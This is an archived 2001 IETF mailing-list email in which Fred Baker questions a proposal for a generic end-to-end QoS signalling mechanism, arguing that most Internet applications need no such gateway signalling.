From owner-issll@mercury.lcs.mit.edu Thu May 31 16:48:38 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07898
for ; Thu, 31 May 2001 16:48:34 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id NAA00289
for issll-outgoing; Thu, 31 May 2001 13:13:16 -0400 (EDT)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id NAA29349
for ; Thu, 31 May 2001 13:13:00 -0400 (EDT)
Received: from FRED-W2K.cisco.com (fred-hm-dhcp3.cisco.com [171.69.128.118])
by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f4VHBBU27133;
Thu, 31 May 2001 10:11:12 -0700 (PDT)
Message-Id: <5.1.0.14.2.20010531095817.04c50ea8@mira-sjcm-2.cisco.com>
X-Sender: fred@mira-sjcm-2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 31 May 2001 10:09:10 -0700
To: "Roy, Radhika R, ALCTA"
From: Fred Baker
Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM
FOR E ND-TO-END QOS SERVICE CONTROL
Cc: Bob Braden , gratta@lucent.com, sob@harvard.edu,
mankin@isi.edu, diffserv@ietf.org, iptel@lists.bell-labs.com,
issll@mercury.lcs.mit.edu, megaco@fore.com, sip@lists.bell-labs.com,
sipping@ietf.org, tsvwg@ietf.org, hiramatsu.yukio@lab.ntt.co.jp,
rbuhrke@lucent.com, tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
ITU-SG16@mailbag.cps.INTEL.COM
In-Reply-To:
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
At 06:08 AM 5/31/2001, Roy, Radhika R, ALCTA wrote:
>All applications (e.g., H.323, SIP) uses signaling messages
>among its functional entities (e.g., terminal, agents,
>gatekeepers, proxies, gateways) for communications.
I'm not sure we're on the same planet. Please help me out here.
I can think of a few applications that have agents, gatekeepers, proxies,
and gateways, mostly resulting from the imposition of firewalls or
authentication systems, or from legacy applications like imitating the
telephone system in a data network. The only one that *requires* any kind
of gateway, to my knowledge, is H.323 teleconferencing, which represents a
paltry fraction of traffic according to most current measurements. Anything
else (75% of Internet traffic is http or FTP, most of the rest is mail, on
private LANs applications like NFS are pretty common, and even SIP can be
done without a gateway between consenting systems) could be hooked up in
separate systems on a LAN and made to work without any such signalling at all.
Could you be more specific on what QoS signalling is required by the world
wide web, mail, FTP, common ERP applications like ERP and PeopleSoft,
calendaring, and so on? If not, could you be more specific about what "all"
applications you have in mind?
And could you be more specific about what issues this proposal is
addressing that have not already been addressed in de facto standards and
deployed in operational systems? It would be very nice to understand what
you are preparing to ask vendors to do, and whether operators are
interested in deploying them.